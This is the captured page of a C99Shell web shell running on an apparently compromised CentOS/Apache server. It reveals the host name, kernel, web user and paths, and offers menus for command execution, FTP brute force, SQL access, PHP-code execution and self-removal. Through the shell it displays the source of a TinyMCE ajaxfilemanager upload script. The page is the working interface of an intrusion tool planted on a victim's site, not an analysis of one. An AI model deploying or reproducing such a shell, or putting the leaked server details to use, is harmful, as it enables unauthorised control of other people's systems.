!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/lib/tinymce/plugins/ajaxfilemanager/   drwxr-xr-x
Free 9.4 GB of 93.48 GB (10.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ajax_file_upload.php (2.43 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
/**
     * processing the uploaded files
     * @author Logan Cai (cailongqun [at] yahoo [dot] com [dot] cn)
     * @link www.phpletter.com
     * @since 22/May/2007
     *
     */    
    
sleep(3);
    require_once(
dirname(__FILE__) . DIRECTORY_SEPARATOR "inc" DIRECTORY_SEPARATOR "config.php");
    echo 
"{";
    
$error "";
    
$info "";
    
    include_once(
CLASS_UPLOAD);
    
$upload = new Upload();
                                
    
$upload->setInvalidFileExt(explode(","CONFIG_UPLOAD_INVALID_EXTS));
    if(
CONFIG_SYS_VIEW_ONLY || !CONFIG_OPTIONS_UPLOAD)
    {
        
$error SYS_DISABLED;
    }
    elseif(empty(
$_GET['folder']) || !isUnderRoot($_GET['folder']))
    {
        
$error ERR_FOLDER_PATH_NOT_ALLOWED;
    }else    if(!
$upload->isFileUploaded('file'))
    {
        
$error ERR_FILE_NOT_UPLOADED;
    }else if(!
$upload->moveUploadedFile($_GET['folder']))
    {
        
$error ERR_FILE_MOVE_FAILED;
    }    
    elseif(!
$upload->isPermittedFileExt(explode(","CONFIG_UPLOAD_VALID_EXTS)))
    {        
        
$error ERR_FILE_TYPE_NOT_ALLOWED;
    }elseif(
defined('CONFIG_UPLOAD_MAXSIZE') && CONFIG_UPLOAD_MAXSIZE && $upload->isSizeTooBig(CONFIG_UPLOAD_MAXSIZE))
    {        
         
$error sprintf(ERROR_FILE_TOO_BIDtransformFileSize(CONFIG_UPLOAD_MAXSIZE));
    }else
    {
                            include_once(
CLASS_FILE);
                            
$path $upload->getFilePath();
                            
$obj = new file($path);
                            
$tem $obj->getFileInfo();                            
                            if(
sizeof($tem))
                            {    
                                include_once(
CLASS_MANAGER);
                            
                                
$manager = new manager($upload->getFilePath(), false);            
                                                            
                                
$fileType $manager->getFileType($upload->getFileName());

                                foreach(
$fileType as $k=>$v)
                                {
                                    
$tem[$k] = $v;
                                }
                                
                                
$tem['path'] = backslashToSlash($path);        
                                
$tem['type'] = "file";
                                
$tem['size'] = transformFileSize($tem['size']);
                                
$tem['ctime'] = date(DATE_TIME_FORMAT$tem['ctime']);
                                
$tem['mtime'] = date(DATE_TIME_FORMAT$tem['mtime']);
                                
$tem['short_name'] = shortenFileName($tem['name']);                        
                                
$tem['flag'] = 'noFlag';
                                
$obj->close();
                                foreach(
$tem as $k=>$v)
                                {
                                        
$info .= sprintf(", %s:'%s'"$k$v);                                    
                                }

                                
$info .= sprintf(", url:'%s'",  getFileUrl($path));
                                
$info .= sprintf(", tipedit:'%s'",  TIP_DOC_RENAME);        

                                                                                
                            }else 
                            {
                                
$error ERR_FILE_NOT_AVAILABLE;
                            }


    }
    echo 
"error:'" $error "'";
    echo 
$info;
    echo 
"}";
    
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0052 ]--